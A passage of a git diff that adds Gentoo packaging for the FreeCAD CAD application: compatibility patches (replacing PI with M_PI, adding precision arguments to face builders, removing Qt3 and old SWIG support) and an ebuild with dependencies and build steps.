+         return new TopoShapeFacePy(new TopoShape((Face.Face()))); 
+     }
+     catch (Standard_DomainError) {
+--- FreeCAD-0.12.5284/src/Mod/Part/App/GeometrySurfacePyImp.cpp
++++ FreeCAD-0.12.5284/src/Mod/Part/App/GeometrySurfacePyImp.cpp
+@@ -79,7 +79,7 @@
+             s->Bounds(u1,u2,v1,v2);
+             if (!PyArg_ParseTuple(args, "|dddd", &u1,&u2,&v1,&v2))
+                 return 0;
+-            BRepBuilderAPI_MakeFace mkBuilder(s, u1, u2, v1, v2);
++            BRepBuilderAPI_MakeFace mkBuilder(s, u1, u2, v1, v2, Precision::Confusion());
+             TopoDS_Shape sh = mkBuilder.Shape();
+             return new TopoShapeFacePy(new TopoShape(sh));
+         }
+--- FreeCAD-0.12.5284/src/Mod/Part/App/Geometry.cpp
++++ FreeCAD-0.12.5284/src/Mod/Part/App/Geometry.cpp
+@@ -1252,7 +1252,7 @@
+     Handle_Geom_Surface s = Handle_Geom_Surface::DownCast(handle());
+     Standard_Real u1,u2,v1,v2;
+     s->Bounds(u1,u2,v1,v2);
+-    BRepBuilderAPI_MakeFace mkBuilder(s, u1, u2, v1, v2);
++    BRepBuilderAPI_MakeFace mkBuilder(s, u1, u2, v1, v2, Precision::Confusion());
+     return mkBuilder.Shape();
+ }
+ 
+--- FreeCAD-0.12.5284/src/Mod/Part/App/PrimitiveFeature.cpp
++++ FreeCAD-0.12.5284/src/Mod/Part/App/PrimitiveFeature.cpp
+@@ -191,7 +191,7 @@
+     gp_Pnt pnt(0.0,0.0,0.0);
+     gp_Dir dir(0.0,0.0,1.0);
+     Handle_Geom_Plane aPlane = new Geom_Plane(pnt, dir);
+-    BRepBuilderAPI_MakeFace mkFace(aPlane, 0.0, L, 0.0, W);
++    BRepBuilderAPI_MakeFace mkFace(aPlane, 0.0, L, 0.0, W, Precision::Confusion());
+ 
+     const char *error=0;
+     switch (mkFace.Error())
+--- FreeCAD-0.12.5284/src/Mod/Part/App/TopoShape.cpp
++++ FreeCAD-0.12.5284/src/Mod/Part/App/TopoShape.cpp
+@@ -1338,7 +1338,7 @@
+     double u1,u2,v1,v2;
+     surf->Bounds(u1,u2,v1,v2);
+ 
+-    BRepBuilderAPI_MakeFace mkBuilder(surf, umin, umax, v1, v2);
++    BRepBuilderAPI_MakeFace mkBuilder(surf, umin, umax, v1, v2, Precision::Confusion());
+     return mkBuilder.Face();
+ }
+ 
+@@ -1391,7 +1391,7 @@
+ 
+         Standard_Real u1,u2,v1,v2;
+         mySurface->Bounds(u1,u2,v1,v2);
+-        BRepBuilderAPI_MakeFace mkBuilder(mySurface, u1, u2, v1, v2);
++        BRepBuilderAPI_MakeFace mkBuilder(mySurface, u1, u2, v1, v2, Precision::Confusion());
+         return mkBuilder.Shape();
+     }
+ 
+@@ -1443,7 +1443,7 @@
+     mkSweep.Perform(tol, Standard_False, GeomAbs_C1, BSplCLib::MaxDegree(), 1000);
+ 
+     const Handle_Geom_Surface& surf = mkSweep.Surface();
+-    BRepBuilderAPI_MakeFace mkBuilder(surf, umin, umax, vmin, vmax);
++    BRepBuilderAPI_MakeFace mkBuilder(surf, umin, umax, vmin, vmax, Precision::Confusion());
+     return mkBuilder.Face();
+ }
+ 
+--- FreeCAD-0.12.5284/src/Mod/Part/App/TopoShapeFacePyImp.cpp
++++ FreeCAD-0.12.5284/src/Mod/Part/App/TopoShapeFacePyImp.cpp
+@@ -135,7 +135,7 @@
+                 return -1;
+             }
+ 
+-            BRepBuilderAPI_MakeFace mkFace(S);
++            BRepBuilderAPI_MakeFace mkFace(S, Precision::Confusion());
+             if (bound) {
+                 Py::List list(bound);
+                 for (Py::List::iterator it = list.begin(); it != list.end(); ++it) {
+--- FreeCAD-0.12.5284/src/Mod/Fem/App/AppFemPy.cpp
++++ FreeCAD-0.12.5284/src/Mod/Fem/App/AppFemPy.cpp
+@@ -498,12 +498,12 @@
+ 
+ 		//Do a Monte Carlo approach and start from the Principal Axis System
+ 		//and rotate +/- 60� around each axis in a first iteration
+-		double	angle_range_min_x=-PI/3.0,angle_range_max_x=PI/3.0,
+-			angle_range_min_y=-PI/3.0,angle_range_max_y=PI/3.0,
+-			angle_range_min_z=-PI/3.0,angle_range_max_z=PI/3.0;
++		double	angle_range_min_x=-M_PI/3.0,angle_range_max_x=M_PI/3.0,
++			angle_range_min_y=-M_PI/3.0,angle_range_max_y=M_PI/3.0,
++			angle_range_min_z=-M_PI/3.0,angle_range_max_z=M_PI/3.0;
+ 
+ 		//We rotate until we are 0.1� sure to be in the right position
+-		for (step_size = (2.0*PI/it_steps);step_size>(2.0*PI/3600.0);step_size=(2.0*PI/it_steps))
++		for (step_size = (2.0*M_PI/it_steps);step_size>(2.0*M_PI/3600.0);step_size=(2.0*M_PI/it_steps))
+ 		{
+ 			for(alpha_x=angle_range_min_x;alpha_x<angle_range_max_x;alpha_x=alpha_x+step_size)
+ 			{
+@@ -744,11 +744,11 @@
+ 
+ 		//Do a Monte Carlo approach and start from the Principal Axis System
+ 		//and rotate +/- 60� around each axis in a first iteration
+-		double	angle_range_min_x=-PI/3.0,angle_range_max_x=PI/3.0,
+-				angle_range_min_y=-PI/3.0,angle_range_max_y=PI/3.0,
+-				angle_range_min_z=-PI/3.0,angle_range_max_z=PI/3.0;
++		double	angle_range_min_x=-M_PI/3.0,angle_range_max_x=M_PI/3.0,
++				angle_range_min_y=-M_PI/3.0,angle_range_max_y=M_PI/3.0,
++				angle_range_min_z=-M_PI/3.0,angle_range_max_z=M_PI/3.0;
+ 		
+-		for (step_size = (2.0*PI/it_steps);step_size>(2.0*PI/360.0);step_size=(2.0*PI/it_steps))
++		for (step_size = (2.0*M_PI/it_steps);step_size>(2.0*M_PI/360.0);step_size=(2.0*M_PI/it_steps))
+ 		{
+ 			for(alpha_x=angle_range_min_x;alpha_x<angle_range_max_x;alpha_x=alpha_x+step_size)
+ 			{
diff --git a/media-gfx/freecad/files/freecad-0.12.5284-qt3support.patch b/media-gfx/freecad/files/freecad-0.12.5284-qt3support.patch
new file mode 100644
index 00000000..1548c2f1
--- /dev/null
+++ b/media-gfx/freecad/files/freecad-0.12.5284-qt3support.patch
@@ -0,0 +1,36 @@
+diff -ruN FreeCAD-0.12.5284.orig/src/Mod/Arch/Resources/ui/archprefs-base.ui FreeCAD-0.12.5284/src/Mod/Arch/Resources/ui/archprefs-base.ui
+--- FreeCAD-0.12.5284.orig/src/Mod/Arch/Resources/ui/archprefs-base.ui	2012-01-03 13:26:11.000000000 +0100
++++ FreeCAD-0.12.5284/src/Mod/Arch/Resources/ui/archprefs-base.ui	2012-01-07 17:15:29.000000000 +0100
+@@ -133,7 +133,7 @@
+   </layout>
+  </widget>
+  <layoutdefault spacing="6" margin="11"/>
+- <pixmapfunction>qPixmapFromMimeSource</pixmapfunction>
++ <pixmapfunction></pixmapfunction>
+  <customwidgets>
+   <customwidget>
+    <class>Gui::ColorButton</class>
+diff -ruN FreeCAD-0.12.5284.orig/src/Mod/Draft/Resources/ui/userprefs-base.ui FreeCAD-0.12.5284/src/Mod/Draft/Resources/ui/userprefs-base.ui
+--- FreeCAD-0.12.5284.orig/src/Mod/Draft/Resources/ui/userprefs-base.ui	2012-01-03 13:25:30.000000000 +0100
++++ FreeCAD-0.12.5284/src/Mod/Draft/Resources/ui/userprefs-base.ui	2012-01-07 17:15:11.000000000 +0100
+@@ -957,7 +957,7 @@
+   </layout>
+  </widget>
+  <layoutdefault spacing="6" margin="11"/>
+- <pixmapfunction>qPixmapFromMimeSource</pixmapfunction>
++ <pixmapfunction></pixmapfunction>
+  <customwidgets>
+   <customwidget>
+    <class>Gui::FileChooser</class>
+diff -ruN FreeCAD-0.12.5284.orig/src/Mod/Draft/Resources/ui/userprefs-import.ui FreeCAD-0.12.5284/src/Mod/Draft/Resources/ui/userprefs-import.ui
+--- FreeCAD-0.12.5284.orig/src/Mod/Draft/Resources/ui/userprefs-import.ui	2012-01-03 13:25:30.000000000 +0100
++++ FreeCAD-0.12.5284/src/Mod/Draft/Resources/ui/userprefs-import.ui	2012-01-07 17:14:50.000000000 +0100
+@@ -411,7 +411,7 @@
+   </layout>
+  </widget>
+  <layoutdefault spacing="6" margin="11"/>
+- <pixmapfunction>qPixmapFromMimeSource</pixmapfunction>
++ <pixmapfunction></pixmapfunction>
+  <customwidgets>
+   <customwidget>
+    <class>Gui::FileChooser</class>
diff --git a/media-gfx/freecad/files/freecad-0.12.5284-removeoldswig.patch b/media-gfx/freecad/files/freecad-0.12.5284-removeoldswig.patch
new file mode 100644
index 00000000..b768178e
--- /dev/null
+++ b/media-gfx/freecad/files/freecad-0.12.5284-removeoldswig.patch
@@ -0,0 +1,111 @@
+--- src/Base/Interpreter.cpp.old	2010-08-27 16:24:16.000000000 +0200
++++ src/Base/Interpreter.cpp	2011-12-24 00:13:52.356641021 +0100
+@@ -503,11 +503,6 @@
+ #if (defined(HAVE_SWIG) && (HAVE_SWIG == 1))
+ namespace Swig_python { extern int createSWIGPointerObj_T(const char* TypeName, void* obj, PyObject** ptr, int own); }
+ #endif
+-namespace Swig_1_3_25 { extern int createSWIGPointerObj_T(const char* TypeName, void* obj, PyObject** ptr, int own); }
+-namespace Swig_1_3_33 { extern int createSWIGPointerObj_T(const char* TypeName, void* obj, PyObject** ptr, int own); }
+-namespace Swig_1_3_36 { extern int createSWIGPointerObj_T(const char* TypeName, void* obj, PyObject** ptr, int own); }
+-namespace Swig_1_3_38 { extern int createSWIGPointerObj_T(const char* TypeName, void* obj, PyObject** ptr, int own); }
+-namespace Swig_1_3_40 { extern int createSWIGPointerObj_T(const char* TypeName, void* obj, PyObject** ptr, int own); }
+ 
+ PyObject* InterpreterSingleton::createSWIGPointerObj(const char* Module, const char* TypeName, void* Pointer, int own)
+ {
+@@ -517,21 +512,6 @@
+     int version = getSWIGVersionFromModule(Module);
+     switch (version&0xff)
+     {
+-    case 25:
+-        result = Swig_1_3_25::createSWIGPointerObj_T(TypeName, Pointer, &proxy, own);
+-        break;
+-    case 33:
+-        result = Swig_1_3_33::createSWIGPointerObj_T(TypeName, Pointer, &proxy, own);
+-        break;
+-    case 36:
+-        result = Swig_1_3_36::createSWIGPointerObj_T(TypeName, Pointer, &proxy, own);
+-        break;
+-    case 38:
+-        result = Swig_1_3_38::createSWIGPointerObj_T(TypeName, Pointer, &proxy, own);
+-        break;
+-    case 40:
+-        result = Swig_1_3_40::createSWIGPointerObj_T(TypeName, Pointer, &proxy, own);
+-        break;
+     default:
+ #if (defined(HAVE_SWIG) && (HAVE_SWIG == 1))
+     result = Swig_python::createSWIGPointerObj_T(TypeName, Pointer, &proxy, own);
+@@ -550,11 +530,6 @@
+ #if (defined(HAVE_SWIG) && (HAVE_SWIG == 1))
+ namespace Swig_python { extern int convertSWIGPointerObj_T(const char* TypeName, PyObject* obj, void** ptr, int flags); }
+ #endif
+-namespace Swig_1_3_25 { extern int convertSWIGPointerObj_T(const char* TypeName, PyObject* obj, void** ptr, int flags); }
+-namespace Swig_1_3_33 { extern int convertSWIGPointerObj_T(const char* TypeName, PyObject* obj, void** ptr, int flags); }
+-namespace Swig_1_3_36 { extern int convertSWIGPointerObj_T(const char* TypeName, PyObject* obj, void** ptr, int flags); }
+-namespace Swig_1_3_38 { extern int convertSWIGPointerObj_T(const char* TypeName, PyObject* obj, void** ptr, int flags); }
+-namespace Swig_1_3_40 { extern int convertSWIGPointerObj_T(const char* TypeName, PyObject* obj, void** ptr, int flags); }
+ 
+ bool InterpreterSingleton::convertSWIGPointerObj(const char* Module, const char* TypeName, PyObject* obj, void** ptr, int flags)
+ {
+@@ -563,21 +538,6 @@
+     int version = getSWIGVersionFromModule(Module);
+     switch (version&0xff)
+     {
+-    case 25:
+-        result = Swig_1_3_25::convertSWIGPointerObj_T(TypeName, obj, ptr, flags);
+-        break;
+-    case 33:
+-        result = Swig_1_3_33::convertSWIGPointerObj_T(TypeName, obj, ptr, flags);
+-        break;
+-    case 36:
+-        result = Swig_1_3_36::convertSWIGPointerObj_T(TypeName, obj, ptr, flags);
+-        break;
+-    case 38:
+-        result = Swig_1_3_38::convertSWIGPointerObj_T(TypeName, obj, ptr, flags);
+-        break;
+-    case 40:
+-        result = Swig_1_3_40::convertSWIGPointerObj_T(TypeName, obj, ptr, flags);
+-        break;
+     default:
+ #if (defined(HAVE_SWIG) && (HAVE_SWIG == 1))
+         result = Swig_python::convertSWIGPointerObj_T(TypeName, obj, ptr, flags);
+@@ -596,11 +556,6 @@
+ #if (defined(HAVE_SWIG) && (HAVE_SWIG == 1))
+ namespace Swig_python { extern void cleanupSWIG_T(const char* TypeName); }
+ #endif
+-namespace Swig_1_3_25 { extern void cleanupSWIG_T(const char* TypeName); }
+-namespace Swig_1_3_33 { extern void cleanupSWIG_T(const char* TypeName); }
+-namespace Swig_1_3_36 { extern void cleanupSWIG_T(const char* TypeName); }
+-namespace Swig_1_3_38 { extern void cleanupSWIG_T(const char* TypeName); }
+-namespace Swig_1_3_40 { extern void cleanupSWIG_T(const char* TypeName); }
+ 
+ void InterpreterSingleton::cleanupSWIG(const char* TypeName)
+ {
+@@ -608,9 +563,4 @@
+ #if (defined(HAVE_SWIG) && (HAVE_SWIG == 1))
+     Swig_python::cleanupSWIG_T(TypeName);
+ #endif
+-    Swig_1_3_25::cleanupSWIG_T(TypeName);
+-    Swig_1_3_33::cleanupSWIG_T(TypeName);
+-    Swig_1_3_36::cleanupSWIG_T(TypeName);
+-    Swig_1_3_38::cleanupSWIG_T(TypeName);
+-    Swig_1_3_40::cleanupSWIG_T(TypeName);
+ }
+--- src/Base/Makefile.am.old	2011-12-24 00:14:25.625540687 +0100
++++ src/Base/Makefile.am	2010-10-27 12:29:37.000000000 +0200
+@@ -65,16 +65,6 @@
+ 		Swap.cpp \
+ 		swigpyrun.inl \
+ 		swigpyrun.cpp \
+-		swigpyrun_1.3.25.cpp \
+-		swigpyrun_1.3.25.h \
+-		swigpyrun_1.3.33.cpp \
+-		swigpyrun_1.3.33.h \
+-		swigpyrun_1.3.36.cpp \
+-		swigpyrun_1.3.36.h \
+-		swigpyrun_1.3.38.cpp \
+-		swigpyrun_1.3.38.h \
+-		swigpyrun_1.3.40.cpp \
+-		swigpyrun_1.3.40.h \
+ 		TimeInfo.cpp \
+ 		Type.cpp \
+ 		Tools.cpp \
diff --git a/media-gfx/freecad/files/freecad-0.12.5284-salomesmesh-occ-6.5.5.patch b/media-gfx/freecad/files/freecad-0.12.5284-salomesmesh-occ-6.5.5.patch
new file mode 100644
index 00000000..50e30e6c
--- /dev/null
+++ b/media-gfx/freecad/files/freecad-0.12.5284-salomesmesh-occ-6.5.5.patch
@@ -0,0 +1,228 @@
+--- FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/SMESH/SMESH_MeshEditor.cpp
++++ FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/SMESH/SMESH_MeshEditor.cpp
+@@ -1374,7 +1374,7 @@
+                 const SMDS_MeshNode *    n1,
+                 const SMDS_MeshNode *    n2)
+ {
+-  double angle = 2*PI; // bad angle
++  double angle = 2*M_PI; // bad angle
+ 
+   // get normals
+   SMESH::Controls::TSequenceOfXYZ P1, P2;
+--- FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/SMESH/SMESH_Pattern.cpp
++++ FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/SMESH/SMESH_Pattern.cpp
+@@ -1234,7 +1234,7 @@
+         maxLen2 = Max( maxLen2, ( n[1]->myUV - n[2]->myUV ).SquareModulus() );
+       }
+       maxLen2 = Max( maxLen2, ( n[2]->myUV - node->myUV ).SquareModulus() );
+-      minDiag = sqrt( maxLen2 ) * PI / 60.; // ~ maxLen * Sin( 3 deg )
++      minDiag = sqrt( maxLen2 ) * M_PI / 60.; // ~ maxLen * Sin( 3 deg )
+     }
+ 
+     // check if newUV is behind 3 dirs: n[0]-n[1], n[1]-n[2] and n[0]-n[2]
+@@ -1721,9 +1721,9 @@
+         if ( iDir == 1 )
+           aNorm[ iDir ].Reverse();  // along iDir isoline
+ 
+-        double angle = tgt1.Angle( tgt2 ); //  [-PI, PI]
++        double angle = tgt1.Angle( tgt2 ); //  [-M_PI, M_PI]
+         // maybe angle is more than |PI|
+-        if ( Abs( angle ) > PI / 2. ) {
++        if ( Abs( angle ) > M_PI / 2. ) {
+           // check direction of the last but one perpendicular isoline
+           TIsoNode* prevNode = bndNode2->GetNext( iDir, 0 );
+           bndNode1 = prevNode->GetBoundaryNode( 1 - iDir, 0 );
+@@ -1734,7 +1734,7 @@
+           double angle2 = tgt1.Angle( isoDir );
+           //cout << " isoDir: "<< isoDir.X() <<" "<<isoDir.Y() << " ANGLE: "<< angle << " "<<angle2<<endl;
+           if (angle2 * angle < 0 && // check the sign of an angle close to PI
+-              Abs ( Abs ( angle ) - PI ) <= PI / 180. ) {
++              Abs ( Abs ( angle ) - M_PI ) <= M_PI / 180. ) {
+             //MESSAGE("REVERSE ANGLE");
+             angle = -angle;
+           }
+@@ -1746,7 +1746,7 @@
+             // cout << "bndNode1: " << bndNode1->myUV.X()<<" "<<bndNode1->myUV.Y()<< endl;
+             // cout << "bndNode2: " << bndNode2->myUV.X()<<" "<<bndNode2->myUV.Y()<<endl;
+             // cout <<" tgt: " << tgt1.X()<<" "<<tgt1.Y()<<"  "<< tgt2.X()<<" "<<tgt2.Y()<<endl;
+-            angle += ( angle < 0 ) ? 2. * PI : -2. * PI;
++            angle += ( angle < 0 ) ? 2. * M_PI : -2. * M_PI;
+           }
+         }
+         aTgt[ iDir ] = tgt1.Rotated( angle * ratio[ iDir ] ).XY();
+@@ -1785,7 +1785,7 @@
+     double initAngle = initTgt1.Angle( initTgt2 );
+     double angle = node->myDir[0].Angle( node->myDir[1] );
+     if ( reversed ) angle = -angle;
+-    if ( initAngle > angle && initAngle - angle > PI / 2.1 ) {
++    if ( initAngle > angle && initAngle - angle > M_PI / 2.1 ) {
+       // find a close internal node
+       TIsoNode* nClose = 0;
+       list< TIsoNode* > testNodes;
+--- FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/Controls/SMESH_Controls.cpp
++++ FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/Controls/SMESH_Controls.cpp
+@@ -332,12 +332,12 @@
+     aMin = Min(aMin,A0);
+   }
+ 
+-  return aMin * 180.0 / PI;
++  return aMin * 180.0 / M_PI;
+ }
+ 
+ double MinimumAngle::GetBadRate( double Value, int nbNodes ) const
+ {
+-  //const double aBestAngle = PI / nbNodes;
++  //const double aBestAngle = M_PI / nbNodes;
+   const double aBestAngle = 180.0 - ( 360.0 / double(nbNodes) );
+   return ( fabs( aBestAngle - Value ));
+ }
+@@ -831,19 +831,19 @@
+   gp_XYZ N  = GI.Crossed( GJ );
+ 
+   if ( N.Modulus() < gp::Resolution() )
+-    return PI / 2;
++    return M_PI / 2;
+ 
+   N.Normalize();
+ 
+   double H = ( thePnt2 - theG ).Dot( N );
+-  return asin( fabs( H / L ) ) * 180. / PI;
++  return asin( fabs( H / L ) ) * 180. / M_PI;
+ }
+ 
+ double Warping::GetBadRate( double Value, int /*nbNodes*/ ) const
+ {
+   // the warp is in the range [0.0,PI/2]
+   // 0.0 = good (no warp)
+-  // PI/2 = bad  (face pliee)
++  // M_PI/2 = bad  (face pliee)
+   return Value;
+ }
+ 
+@@ -915,14 +915,14 @@
+     return 0.;
+ 
+   // Compute skew
+-  static double PI2 = PI / 2.;
++  static double PI2 = M_PI / 2.;
+   if ( P.size() == 3 )
+   {
+     double A0 = fabs( PI2 - skewAngle( P( 3 ), P( 1 ), P( 2 ) ) );
+     double A1 = fabs( PI2 - skewAngle( P( 1 ), P( 2 ), P( 3 ) ) );
+     double A2 = fabs( PI2 - skewAngle( P( 2 ), P( 3 ), P( 1 ) ) );
+ 
+-    return Max( A0, Max( A1, A2 ) ) * 180. / PI;
++    return Max( A0, Max( A1, A2 ) ) * 180. / M_PI;
+   }
+   else
+   {
+@@ -939,7 +939,7 @@
+     if ( A < Precision::Angular() )
+       return 0.;
+ 
+-    return A * 180. / PI;
++    return A * 180. / M_PI;
+   }
+ }
+ 
+--- FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/StdMeshers/StdMeshers_CompositeHexa_3D.cpp
++++ FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/StdMeshers/StdMeshers_CompositeHexa_3D.cpp
+@@ -812,7 +812,7 @@
+     int iMyCommon;
+     if ( mySides.Contain( otherSide, &iMyCommon ) ) {
+       // check if normals of two faces are collinear at all vertices of a otherSide
+-      const double angleTol = PI / 180 / 2;
++      const double angleTol = M_PI / 180 / 2;
+       int iV, nbV = otherSide.NbVertices(), nbCollinear = 0;
+       for ( iV = 0; iV < nbV; ++iV )
+       {
+--- FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/StdMeshers/StdMeshers_RadialQuadrangle_1D2D.cpp
++++ FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/StdMeshers/StdMeshers_RadialQuadrangle_1D2D.cpp
+@@ -355,8 +355,8 @@
+       for(; itn != theNodes.end(); itn++ ) {
+         CNodes.push_back( (*itn).second );
+         double ang = (*itn).first - fang;
+-        if( ang>PI ) ang = ang - 2*PI;
+-        if( ang<-PI ) ang = ang + 2*PI;
++        if( ang>M_PI ) ang = ang - 2*M_PI;
++        if( ang<-M_PI ) ang = ang + 2*M_PI;
+         Angles.Append( ang ); 
+       }
+     }
+@@ -404,7 +404,7 @@
+     // a segment of line
+     double fp, lp;
+     Handle(Geom_Circle) aCirc = Handle(Geom_Circle)::DownCast( getCurve( CircEdge, &fp, &lp ));
+-    if( fabs(fabs(lp-fp)-PI) > Precision::Confusion() ) {
++    if( fabs(fabs(lp-fp)-M_PI) > Precision::Confusion() ) {
+       // not half of circle
+       return error(COMPERR_BAD_SHAPE);
+     }
+@@ -434,8 +434,8 @@
+     for(; itn != theNodes.end(); itn++ ) {
+       CNodes.push_back( (*itn).second );
+       double ang = (*itn).first - fang;
+-      if( ang>PI ) ang = ang - 2*PI;
+-      if( ang<-PI ) ang = ang + 2*PI;
++      if( ang>M_PI ) ang = ang - 2*M_PI;
++      if( ang<-M_PI ) ang = ang + 2*M_PI;
+       Angles.Append( ang );
+     }
+     const SMDS_MeshNode* NF = theNodes.begin()->second;
+@@ -587,8 +587,8 @@
+     for(; itn != theNodes.end(); itn++ ) {
+       CNodes.push_back( (*itn).second );
+       double ang = (*itn).first - fang;
+-      if( ang>PI ) ang = ang - 2*PI;
+-      if( ang<-PI ) ang = ang + 2*PI;
++      if( ang>M_PI ) ang = ang - 2*M_PI;
++      if( ang<-M_PI ) ang = ang + 2*M_PI;
+       Angles.Append( ang );
+     }
+     P1 = gp_Pnt( NF->X(), NF->Y(), NF->Z() );
+@@ -1055,7 +1055,7 @@
+       aLine = Handle(Geom_Line)::DownCast(C3);
+     }
+     bool ok = !aCirc.IsNull() && !aLine.IsNull();
+-    if( fabs(fabs(lp-fp)-PI) > Precision::Confusion() ) {
++    if( fabs(fabs(lp-fp)-M_PI) > Precision::Confusion() ) {
+       // not half of circle
+       ok = false;
+     }
+--- FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/StdMeshers/StdMeshers_QuadToTriaAdaptor.cpp
++++ FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/StdMeshers/StdMeshers_QuadToTriaAdaptor.cpp
+@@ -1037,19 +1037,19 @@
+           double ang1 = fabs(VN1.Angle(VI1));
+           double ang2 = fabs(VN2.Angle(VI2));
+           double h1,h2;
+-          if(ang1>PI/3.)
++          if(ang1>M_PI/3.)
+             h1 = VI1.Magnitude()/2;
+           else
+             h1 = VI1.Magnitude()*cos(ang1);
+-          if(ang2>PI/3.)
++          if(ang2>M_PI/3.)
+             h2 = VI2.Magnitude()/2;
+           else
+             h2 = VI2.Magnitude()*cos(ang2);
+           double coef1 = 0.5;
+-          if(ang1<PI/3)
++          if(ang1<M_PI/3)
+             coef1 -= cos(ang1)*0.25;
+           double coef2 = 0.5;
+-          if(ang2<PI/3)
++          if(ang2<M_PI/3)
+             coef2 -= cos(ang1)*0.25;
+ 
+           SMDS_MeshNode* aNode1 = const_cast<SMDS_MeshNode*>(Ns1[4]);
+--- FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/StdMeshers/StdMeshers_AutomaticLength.cpp
++++ FreeCAD-0.12.5284/src/3rdParty/salomesmesh/src/StdMeshers/StdMeshers_AutomaticLength.cpp
+@@ -116,7 +116,7 @@
+    */
+   //================================================================================
+ 
+-  const double a14divPI = 14. / PI;
++  const double a14divPI = 14. / M_PI;
+ 
+   inline double segLength(double S0, double edgeLen, double minLen )
+   {
diff --git a/media-gfx/freecad/files/freecad-0.13.1830-remove-qt3-support.patch b/media-gfx/freecad/files/freecad-0.13.1830-remove-qt3-support.patch
new file mode 100644
index 00000000..8f761d87
--- /dev/null
+++ b/media-gfx/freecad/files/freecad-0.13.1830-remove-qt3-support.patch
@@ -0,0 +1,33 @@
+--- freecad-0.13.1830/src/Mod/Arch/Resources/ui/archprefs-base.ui
++++ freecad-0.13.1830/src/Mod/Arch/Resources/ui/archprefs-base.ui
+@@ -309,7 +309,7 @@
+   </layout>
+  </widget>
+  <layoutdefault spacing="6" margin="11"/>
+- <pixmapfunction>qPixmapFromMimeSource</pixmapfunction>
++ <pixmapfunction></pixmapfunction>
+  <customwidgets>
+   <customwidget>
+    <class>Gui::ColorButton</class>
+--- freecad-0.13.1830/src/Mod/Draft/Resources/ui/userprefs-base.ui
++++ freecad-0.13.1830/src/Mod/Draft/Resources/ui/userprefs-base.ui
+@@ -1185,7 +1185,7 @@
+   </layout>
+  </widget>
+  <layoutdefault spacing="6" margin="11"/>
+- <pixmapfunction>qPixmapFromMimeSource</pixmapfunction>
++ <pixmapfunction></pixmapfunction>
+  <customwidgets>
+   <customwidget>
+    <class>Gui::FileChooser</class>
+--- freecad-0.13.1830/src/Mod/Draft/Resources/ui/userprefs-import.ui
++++ freecad-0.13.1830/src/Mod/Draft/Resources/ui/userprefs-import.ui
+@@ -536,7 +536,7 @@
+   </layout>
+  </widget>
+  <layoutdefault spacing="6" margin="11"/>
+- <pixmapfunction>qPixmapFromMimeSource</pixmapfunction>
++ <pixmapfunction></pixmapfunction>
+  <customwidgets>
+   <customwidget>
+    <class>Gui::FileChooser</class>
diff --git a/media-gfx/freecad/freecad-0.12.5284-r2.ebuild b/media-gfx/freecad/freecad-0.12.5284-r2.ebuild
new file mode 100644
index 00000000..dc7ea5b0
--- /dev/null
+++ b/media-gfx/freecad/freecad-0.12.5284-r2.ebuild
@@ -0,0 +1,91 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-gfx/freecad/freecad-0.12.5284-r2.ebuild,v 1.7 2013/03/07 15:54:35 axs Exp $
+
+EAPI=4
+PYTHON_DEPEND=2
+
+inherit base multilib fortran-2 flag-o-matic python cmake-utils
+
+MY_P="freecad-${PV}"
+MY_PD="FreeCAD-${PV}"
+
+DESCRIPTION="QT based Computer Aided Design application"
+HOMEPAGE="http://sourceforge.net/apps/mediawiki/free-cad/"
+SRC_URI="mirror://sourceforge/free-cad/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RDEPEND="
+	dev-cpp/eigen:3
+	dev-games/ode
+	dev-libs/boost
+	dev-libs/libf2c
+	dev-libs/xerces-c[icu]
+	dev-python/pivy
+	dev-python/PyQt4[svg]
+	media-libs/coin
+	media-libs/SoQt
+	>=sci-libs/opencascade-6.3-r3
+	sci-libs/gts
+	sys-libs/zlib
+	virtual/glu
+	dev-qt/qtgui:4
+	dev-qt/qtopengl:4
+	dev-qt/qtsvg:4
+	dev-qt/qtwebkit:4
+	dev-qt/qtxmlpatterns:4"
+DEPEND="${RDEPEND}
+	>=dev-lang/swig-2.0.4-r1"
+
+RESTRICT="bindist mirror"
+# http://bugs.gentoo.org/show_bug.cgi?id=352435
+# http://www.gentoo.org/foundation/en/minutes/2011/20110220_trustees.meeting_log.txt
+
+S="${WORKDIR}/${MY_PD}"
+
+PATCHES=(
+	"${FILESDIR}/${P}-gcc46.patch"
+	"${FILESDIR}/${P}-removeoldswig.patch"
+	"${FILESDIR}/${P}-glu.patch"
+	"${FILESDIR}/${P}-nodir.patch"
+	"${FILESDIR}/${P}-nopivy.patch"
+	"${FILESDIR}/${P}-qt3support.patch"
+	"${FILESDIR}/${P}-boost148.patch"
+)
+
+pkg_setup() {
+	fortran-2_pkg_setup
+	python_set_active_version 2
+}
+
+src_prepare() {
+	base_src_prepare
+	append-cxxflags -fpermissive
+}
+
+src_configure() {
+	local mycmakeargs=(
+		-DOCC_INCLUDE_DIR=${CASROOT}/inc
+		-DOCC_INCLUDE_PATH=${CASROOT}/inc
+		-DOCC_LIBRARY=${CASROOT}/lib/libTKernel.so
+		-DOCC_LIBRARY_DIR=${CASROOT}/lib
+		-DOCC_LIB_PATH=${CASROOT}/lib
+		-DCOIN3D_INCLUDE_DIR=/usr/include/coin
+		-DCOIN3D_LIBRARY=/usr/$(get_libdir)/libCoin.so
+		-DSOQT_LIBRARY=/usr/$(get_libdir)/libSoQt.so
+		-DSOQT_INCLUDE_PATH=/usr/include/coin
+	)
+	cmake-utils_src_configure
+}
+
+src_install() {
+	cmake-utils_src_install
+
+	find "${D}" -name "*.la" -exec rm {} +
+
+	dodoc README.Linux ChangeLog.txt
+}
diff --git a/media-gfx/freecad/freecad-0.12.5284-r3.ebuild b/media-gfx/freecad/freecad-0.12.5284-r3.ebuild
new file mode 100644
index 00000000..ca4375ba
--- /dev/null
